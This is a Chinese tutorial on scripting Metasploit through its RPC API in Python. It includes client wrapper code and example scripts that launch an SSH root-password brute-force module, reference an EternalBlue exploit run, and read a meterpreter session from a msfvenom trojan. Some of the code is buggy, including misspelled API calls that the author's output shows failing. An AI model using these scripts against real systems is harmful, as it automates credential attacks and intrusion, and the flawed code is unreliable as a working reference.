Metasploit API使用文档

Metasploit官方提供了API调用方式,有

  • RPC
  • REST

两种API调用方式,REST方式只支持专业版使用,这里推荐使用RPC方式调用,即标准API调用。

使用RPC API调用

在通过对Cobalt Strike2.4版本客户端和armitage客户端进行反编译,发现其API调用也为RPC调用。可以认为RPC API调用是”稳定”,“可靠”的。

RPC API 调用官方文档

https://metasploit.help.rapid7.com/docs/standard-api-methods-reference

开启服务端RPC 服务

开启服务端API服务有两种方式:

  1. 通过msfconsole加载msfrpc插件来开启RPC
  2. 通过msfrpcd服务来开启RPC

msfconsole其实也可以理解为metasploit客户端,和msfclient,armitage的功能一致。只是操作方式有所不同。

通过msfconsole加载RPC

进入msfconsole之后,运行加载命令

  1. msf5 > load msgrpc ServerHost=127.0.0.1 ServerPort=55553 User='msf' Pass='msf'
  2. [*] MSGRPC Service: 127.0.0.1:55553
  3. [*] MSGRPC Username: msf
  4. [*] MSGRPC Password: msf
  5. [*] Successfully loaded plugin: msgrpc
  6. msf5 >

其中Serverhost即运行msf的主机,可以为127.0.0.1也可以是0.0.0.0区别是前者只能本机连接。

通过msfrpcd来开启RPC服务

  1. $ msfrpcd -U msf -P msf -S -f
  2. [*] MSGRPC starting on 0.0.0.0:55553 (NO SSL):Msg...
  3. [*] MSGRPC ready at 2018-10-17 11:06:46 +0800.

即以用户名和密码分别为msfmsf,不启用SSL来开启服务。msfrpcdmsfconsole命令一般在同一目录下。如果环境变量设置正确,一般可以直接使用。

关于msfrpcd的详细参数如下:

  1. $ ./msfrpcd -h
  2. Usage: msfrpcd <options>
  3. OPTIONS:
  4. -P <opt> 设置RPC登录密码
  5. -S RPC socket上禁止使用SSL
  6. -U <opt> 设置RPC登录用户名
  7. -a <opt> 绑定一个IP地址(本机IP地址)
  8. -f 在后台以精灵进程(守护进程)的方式运行、启动
  9. -h 帮助菜单
  10. -n 禁止使用数据库
  11. -p <opt> 绑定某个端口,默认为55553
  12. -u <opt> 设置Web服务器的URI

MSF RPC 与msgpack

与msf rpc api通信需要对通信的内容使用msgpack进行序列化,简单来说就是将要发送的数据包转换为二进制形式,以便于传输和格式统一。msgpack序列化之后的数据包支持多种语言,可以在msf服务端由ruby正常解析。

Python下安装msgpack包:

  1. $ pip install msgpack
  1. >>> import msgpack
  2. >>> dic = {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}
  3. >>> res = msgpack.packb(dic)
  4. >>> res
  5. '\x82\xa5token\xda\x00 TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK\xa6result\xa7success'
  6. >>>

MSF API请求

在服务端开启RPC之后,可以使用HTTP协议去访问,会提示404,访问’api’会将文件下载下来。如果发生上述效果,表明服务端开启成功。

其实,MSF的RPC调用也利用HTTP协议,需要先连接RPC socket然后构造POST请求,不同的是,需要指定Content-typebinary/message-pack,这样客户端才会正确解析包。

登录认证API调用

登录认证时向服务端POST序列化发送如下数据包:

成功的请求示例

客户:

  1. [ "auth.login", "MyUserName", "MyPassword"]

服务器:

  1. { "result" => "success", "token" => "a1a1a1a1a1a…" }

这里用一个连接MSF服务端并进行登录的简单demo来演示:

  1. # _*_ encoding:utf-8 _*_
  2. # __author__ = "dr0op"
  3. # python3
  4. import msgpack
  5. import http.client
  6. HOST="127.0.0.1"
  7. PORT="55553"
  8. headers = {"Content-type" : "binary/message-pack"}
  9. # 连接MSF RPC Socket
  10. req = http.client.HTTPConnection(HOST, PORT)
  11. options = ["auth.login","msf","msf"]
  12. # 对参数进行序列化(编码)
  13. options = msgpack.packb(options)
  14. # 发送请求,序列化之后的数据包
  15. req.request("POST","/api/1.0",body=options,headers=headers)
  16. # 获取返回
  17. res = req.getresponse().read()
  18. # 对返回进行反序列户(解码)
  19. res = msgpack.unpackb(res)
  20. res = res[b'token'].decode()
  21. print(res)

成功执行的结果res如下:

  1. {'result': 'success', 'token': 'TEMPSsU2eYsNDom7GMj42ZldrAtQ1vGK'}

Token是一个随机字符串,是登录认证后的标识。

API详解

以上使用一个简单的例子理解请求的API调用数据包格式及请求方式,其他的API请求都是同理的。只是请求的内容有所改变而已。

关于常用的API请求和返回总结如下:

认证:

成功的请求示例

客户:

  1. [ "auth.login", "MyUserName", "MyPassword"]

服务器:

  1. { "result" => "success", "token" => "a1a1a1a1a1a…" }

不成功的请求示例

客户:

  1. [ "auth.login", "MyUserName", "BadPassword"]

服务器:

  1. {
  2. "error" => true,
  3. "error_class" => "Msf::RPC::Exception",
  4. "error_message" => "Invalid User ID or Password"
  5. }

退出同理

console.create 创建一个终端

在成功登录之后,就可以使用console.create创建一个终端实例。创建过程需要一定的时间,如果上个创建未完成,下一终端创建返回的dict会提示busy项为True

客户:

  1. [ "console.create", "<token>"]

服务器:

  1. {
  2. "id" => "0",
  3. "prompt" => "msf > ",
  4. "busy" => false
  5. }

console.destroy删除一个终端

客户:

  1. [ "console.destroy", "<token>", "ConsoleID"]

服务器:

  1. { "result" => "success" }

console.list

console.list方法将返回所有现有控制台ID,其状态和提示的哈希值。

客户:

  1. [ "console.list", "<token>"]

服务器:

  1. {
  2. "0" => {
  3. "id" => "0",
  4. "prompt" => "msf exploit(\x01\x02\x01\x02handler\x01\x02) > ",
  5. "busy" => false
  6. },
  7. "1" => {
  8. "id" => "1",
  9. "prompt" => "msf > ",
  10. "busy" => true
  11. }
  12. }

console.write

console.write方法将数据发送到创建的终端,就想平时操作msfconsole那样,但需要给不同的命令后加上换行。

客户:

  1. [ "console.write", "<token>", "0", "version\n"]

服务器:

  1. { "wrote" => 8 }

console.read

console.read方法将返回发送到终端命令的执行结果。

客户:

  1. [ "console.read", "<token>", "0"]

服务器:

  1. {
  2. "data" => "Framework: 4.0.0-release.14644[..]\n",
  3. "prompt" => "msf > ",
  4. "busy" => false
  5. }

MsfRpcClient

再使用一个MSF RPC Demo来演示一下:

  1. # _*_ encoding:utf-8 _*_
  2. # __author__ = "dr0op"
  3. # python3
  4. import msgpack
  5. import time
  6. import http.client
  7. HOST="127.0.0.1"
  8. PORT="55553"
  9. class Msfrpc:
  10. class MsfError(Exception):
  11. """
  12. 异常处理函数
  13. """
  14. def __init__(self, msg):
  15. self.msg = msg
  16. def __str__(self):
  17. return repr(self.msg)
  18. class MsfAuthError(MsfError):
  19. """
  20. 登录异常处理
  21. """
  22. def __init__(self, msg):
  23. self.msg = msg
  24. def __init__(self, opts=[]):
  25. self.host = HOST
  26. self.port = PORT
  27. self.uri = "/api"
  28. self.ssl = False
  29. self.authenticated = False
  30. self.token = False
  31. self.headers = {"Content-type" : "binary/message-pack"}
  32. if self.ssl:
  33. self.cli = http.client.HTTPConnection(self.host,self.port)
  34. else:
  35. self.cli = http.client.HTTPConnection(self.host, self.port)
  36. def encode(self, data):
  37. """
  38. 序列化数据(编码)
  39. """
  40. return msgpack.packb(data)
  41. def decode(self, data):
  42. """
  43. 反序列化数据(解码)
  44. """
  45. return msgpack.unpackb(data)
  46. def call(self, meth, opts = []):
  47. if meth != "auth.login":
  48. if not self.authenticated:
  49. raise self.MsfAuthError("MsfRPC: Not Authenticated")
  50. if meth != "auth.login":
  51. opts.insert(0,self.token)
  52. opts.insert(0,meth)
  53. params = self.encode(opts)
  54. # 发送请求包
  55. res = requests.post(self.uri, params,self.headers)
  56. resp = self.cli.getresponse()
  57. # 获取结果并解码
  58. return self.decode(resp.read())
  59. def login(self, user, password):
  60. """
  61. 登录认证函数
  62. """
  63. ret = self.call('auth.login', [user,password])
  64. if ret.get('result') == 'success':
  65. self.authenticated = True
  66. self.token = ret.get('token')
  67. return True
  68. else:
  69. raise self.MsfAuthError("MsfRPC: Authentication failed")
  70. if __name__ == '__main__':
  71. # 创建一个新的默认配置的客户端实例
  72. client = Msfrpc({})
  73. # 使用密码abc123登录msf
  74. client.login('msf','msf')
  75. try:
  76. res = client.call('console.create')
  77. console_id = res['id']
  78. except:
  79. print ("Console create failed\r\n")
  80. sys.exit()
  81. # 要发送给终端的命令
  82. cmd = """
  83. use auxiliary/scanner/ssh/ssh_login
  84. set RHOSTS 127.0.0.1
  85. set USERNAME root
  86. set PASS_FILE /tmp/pass.txt
  87. exploit
  88. """
  89. client.call('console.write',[console_id,cmd])
  90. time.sleep(1)
  91. while True:
  92. # 发送命令并获取结果
  93. res = client.call('console.read',[console_id])
  94. if len(res['data']) > 1:
  95. print (res['data'])
  96. if res['busy'] == True:
  97. time.sleep(1)
  98. continue
  99. break
  100. client.call('console.destroy',[console_id])

在这个例子中,调用MSF RPC登录获取Token之后,创建一个console,并发送命令到`console,由msf服务端去执行。执行成功之后会将结果以序列化后的形式返回。反序列化之后成为一个dict,包含了返回后的结果。

对API进行封装

以上是一个基础的MSF API简单调用模块去攻击的demo,但是在应用中,需要对其常见的API调用进行封装,做成一个属于我们自己的,使用时,只需要去调用它即可。

简单的封装如下:

  1. import msgpack
  2. import http.client as request
  3. class AuthError(Exception):
  4. """
  5. 登录认证错误异常处理
  6. """
  7. def __init__(self):
  8. print("登录失败,检查账户密码")
  9. class ConnectionError(Exception):
  10. """
  11. 链接msfrpc错误异常处理
  12. """
  13. def __init__(self):
  14. print("连接失败,服务端或网络问题")
  15. class Client(object):
  16. """
  17. MsfRPC Client客户端,发送处理命令行参数
  18. """
  19. def __init__(self,ip,port,user,passwd):
  20. # 属性
  21. self.user = user
  22. self.passwd = passwd
  23. self.server = ip
  24. self.port = port
  25. self.headers = {"Content-Type": "binary/message-pack"}
  26. self.client = request.HTTPConnection(self.server,self.port)
  27. self.auth()
  28. #装饰器对属性读写前的处理
  29. @property
  30. def headers(self):
  31. return self._headers
  32. @headers.setter
  33. def headers(self,value):
  34. self._headers = value
  35. @property
  36. def options(self):
  37. return self._options
  38. @options.setter
  39. def options(self,value):
  40. #将数据打包为通用模式
  41. self._options = msgpack.packb(value)
  42. @property
  43. def token(self):
  44. return self._token
  45. @token.setter
  46. def token(self,value):
  47. self._token = value
  48. def auth(self):
  49. """
  50. 登录认证函数
  51. :return 一串随机的token值:
  52. """
  53. print("Attempting to access token")
  54. self.options = ["auth.login",self.user,self.passwd]
  55. try:
  56. self.client.request("POST","/api",body=self.options,headers=self.headers)
  57. except:
  58. ConnectionError()
  59. c = self.client.getresponse()
  60. if c.status != 200:
  61. raise ConnectionError()
  62. else:
  63. res = msgpack.unpackb(c.read())
  64. print(res)
  65. if b'error' not in res.keys() and res[b'result'] == b'success':
  66. self.token = res[b'token']
  67. print("Token recived:> %s",self.token)
  68. else:
  69. raise AuthError()
  70. def send_command(self,options):
  71. self.options = options
  72. self.client.request("POST","/api",body=self.options,headers=self.headers)
  73. c = self.client.getresponse()
  74. if c.status != 200:
  75. raise ConnectionError()
  76. else:
  77. res = msgpack.unpackb(c.read())
  78. return res
  79. def get_version(self):
  80. """
  81. 获取msf和ruby的版本信息
  82. :return ruby 和 msf vresion:
  83. """
  84. res = self.send_command(["core.version",self.token])
  85. return res
  86. def create_console(self):
  87. """
  88. 创建一个虚拟终端
  89. :return :
  90. """
  91. res = self.send_command(["console.create",self.token])
  92. return res
  93. def destroy_console(self,console_id):
  94. """
  95. 销毁一个终端
  96. :param console_id 终端id:
  97. :return:
  98. """
  99. #console_id = str(console_id)
  100. res = self.send_command(["console.destroy",self.token,console_id])
  101. return res
  102. def list_consoles(self):
  103. """
  104. 获取一个已获取的终端列表,【id,prompt,busy】
  105. :return list[id,prompt,busy]:
  106. """
  107. res = self.send_command(["console.list",self.token])
  108. return res
  109. def write_console(self,console_id,data,process=True):
  110. """
  111. 向终端中写命令
  112. :param console_id: id
  113. :param data:要发送到终端的命令
  114. :param process:
  115. :return:
  116. """
  117. if process == True:
  118. data +="\n"
  119. str(console_id)
  120. res = self.send_command(["console.write",self.token,console_id,data])
  121. return res
  122. def read_console(self,console_id):
  123. """
  124. 获取发送命令后终端的执行结果
  125. :param console_id:
  126. :return:
  127. """
  128. str(console_id)
  129. res = self.send_command(["console.read",self.token,console_id])
  130. return res
  131. def list_sessions(self):
  132. """
  133. 列出所有session信息
  134. :return:
  135. """
  136. res = self.send_command(["session.list",self.token])
  137. return res
  138. def stop_session(self,ses_id):
  139. """
  140. 停止一个session
  141. :param ses_id:
  142. :return:
  143. """
  144. str(ses_id)
  145. res = self.send_command(["session.stop",self.token,ses_id])
  146. return res
  147. def read_shell(self,ses_id,read_ptr=0):
  148. """
  149. 获取session执行shell信息
  150. :param ses_id:
  151. :param read_ptr:
  152. :return:
  153. """
  154. str(ses_id)
  155. res = self.send_command(["session.shell_read",self.token,ses_id,read_ptr])
  156. return res
  157. def write_shell(self,ses_id,data,process=True):
  158. """
  159. 向一个shell发送命令
  160. :param ses_id:
  161. :param data:
  162. :param process:
  163. :return:
  164. """
  165. if process == True:
  166. data += "\n"
  167. str(ses_id)
  168. res = self.send_command(["session.shell_write",self.token,ses_id,data])
  169. return res
  170. def write_meterpreter(self,ses_id,data):
  171. """
  172. 向meterpreter发送命令
  173. :param ses_id:
  174. :param data:
  175. :return:
  176. """
  177. str(ses_id)
  178. res = self.send_command(["session.meterperter_write",self.token,ses_id,data])
  179. return res
  180. def read_meterpreter(self,ses_id):
  181. """
  182. 读取meterpreter信息
  183. :param ses_id:
  184. :return:
  185. """
  186. str(ses_id)
  187. res = self.send_command(["session.meterperter_read",self.token,ses_id])
  188. return res
  189. def run_module(self,_type,name,HOST,PORT,payload=False):
  190. """
  191. 执行模块
  192. :param _type:
  193. :param name:
  194. :param HOST:
  195. :param PORT:
  196. :param payload:
  197. :return:
  198. """
  199. if payload != False:
  200. d = ["module.execute",self.token,_type,name,{"LHOST":HOST,"LPOST":PORT}]
  201. else:
  202. d = ["module.execute",self.token,_type,name,{"RHOST":HOST,"RHOST":PORT}]
  203. res = self.send_command(d)
  204. return res
  205. # if __name__ == "__main__":
  206. # auth = Client("127.0.0.1","msf","yFdkc6fB")
  207. # print(auth.get_version())
  208. # print(auth.list_consoles())
  209. # print(auth.create_console())
  210. # print(auth.read_console(1))
  211. # print(auth.write_console(1,"ls"))
  212. # print(auth.destroy_console(1))
  213. # print(auth.list_sessions())
  214. # print(auth.run_module("exploit","ms17_010_eternalblue","1.1.1.1","1"))

使用这个库去调用攻击模块:

  1. # _*_ encoding:utf-8 _*_
  2. # __author__ = "dr0op"
  3. from pymsfrpc import msfrpc
  4. import time
  5. ip = "10.10.11.180"
  6. port = "55553"
  7. user = "msf"
  8. passwd = "msf"
  9. c = msfrpc.Client(ip,port,user,passwd)
  10. console_id = c.create_console().get(b'id')
  11. cmd = """
  12. use auxiliary/scanner/ssh/ssh_login
  13. set RHOSTS 127.0.0.1
  14. set USERNAME root
  15. set PASS_FILE /tmp/pass.txt
  16. exploit
  17. """
  18. res = c.get_version()
  19. resp = c.write_console(console_id,cmd)
  20. time.sleep(1)
  21. while True:
  22. res = c.read_console(console_id)
  23. if res[b'busy'] == True:
  24. time.sleep(1)
  25. continue
  26. elif res[b'busy'] == False:
  27. print(res[b'data'].decode())
  28. break
  29. c.destroy_console(console_id)

以上封装改自github开源代码msf-autopwn

https://github.com/DanMcInerney/msf-autopwn

有所改动。

更全面的封装

更全面的封装可参考

https://github.com/isaudits/msfrpc_console/blob/master/modules/pymetasploit/src/metasploit/msfrpc.py

要在较成熟系统上使用可参考,使用GPL0.4开源协议。

存在的问题及解决方案

1. 反序列化后的格式问题

Python3版本测试过程中,发现对返回数据进行反序列化之后,出现类似:

  1. {b'result': b'success', b'token': b'TEMPEqU3buWpncDeoBryIWOgKJ9O34cJ'}

这种格式的dict,这表示dict的内容即keys和values是bytes类型的。这给我们的后续操作带来很大的不便,在判断时需要将其转化为str类型。要转化,只需要将其项decode()即可。然而,dict并不支持decode,需要遍历其中的项并进行转化。

转换方法现提供如下:

  1. def convert(data):
  2. """
  3. 对Bytes类型的dict进行转化,转化为项为Str类型
  4. """
  5. if isinstance(data, bytes): return data.decode('ascii')
  6. if isinstance(data, dict): return dict(map(convert, data.items()))
  7. if isinstance(data, tuple): return map(convert, data)
  8. return data

2. meterpreter无法获取session问题

使用msfvenom生成一个木马并在目标执行。在msf服务端使用MSF RPC进行监听。使用session.list成功获取session列表。返回结果如下:

  1. {14: {b'type': b'meterpreter', b'tunnel_local': b'10.10.11.180:3355', b'tunnel_peer': b'10.10.11.180:55656', b'via_exploit': b'exploit/multi/handler', b'via_payload': b'payload/windows/meterpreter/reverse_tcp', b'desc': b'Meterpreter', b'info': b'LAPTOP-0IG64IBE\\dr0op @ LAPTOP-0IG64IBE', b'workspace': b'false', b'session_host': b'10.10.11.180', b'session_port': 55656, b'target_host': b'10.10.11.180', b'username': b'dr0op', b'uuid': b'j3oe1mtk', b'exploit_uuid': b'nxyfbzx4', b'routes': b'', b'arch': b'x86', b'platform': b'windows'}}

session ID为14。

成功获取session列表后,就可以向session读写meterpreter命令。

  1. c.write_meterpreter(14,'getuid\n')
  1. c.read_meterpreter(14)

然而,MSF RPC端返回如下:

  1. write meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_write"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_write"\''}
  1. read meterpreter {b'error': True, b'error_class': b'ArgumentError', b'error_string': b'Unknown API Call: \'"rpc_meterperter_read"\'', b'error_backtrace': [b"lib/msf/core/rpc/v10/service.rb:143:in `process'", b"lib/msf/core/rpc/v10/service.rb:91:in `on_request_uri'", b"lib/msf/core/rpc/v10/service.rb:72:in `block in start'", b"lib/rex/proto/http/handler/proc.rb:38:in `on_request'", b"lib/rex/proto/http/server.rb:368:in `dispatch_request'", b"lib/rex/proto/http/server.rb:302:in `on_client_data'", b"lib/rex/proto/http/server.rb:161:in `block in start'", b"lib/rex/io/stream_server.rb:48:in `on_client_data'", b"lib/rex/io/stream_server.rb:199:in `block in monitor_clients'", b"lib/rex/io/stream_server.rb:197:in `each'", b"lib/rex/io/stream_server.rb:197:in `monitor_clients'", b"lib/rex/io/stream_server.rb:73:in `block in start'", b"lib/rex/thread_factory.rb:22:in `block in spawn'", b"lib/msf/core/thread_manager.rb:100:in `block in spawn'"], b'error_message': b'Unknown API Call: \'"rpc_meterperter_read"\''}

暂未找到解决方案。

总结

该文档由浅入深地描述了MSF API调用开发的方式及常见问题。并且由于每个人的环境不同,相同的代码在不同的环境中可能无法运行,需自行解决环境及依赖问题。封装方法精力允许的情况下推荐第二种封装方式。更为专业及具有可扩展性。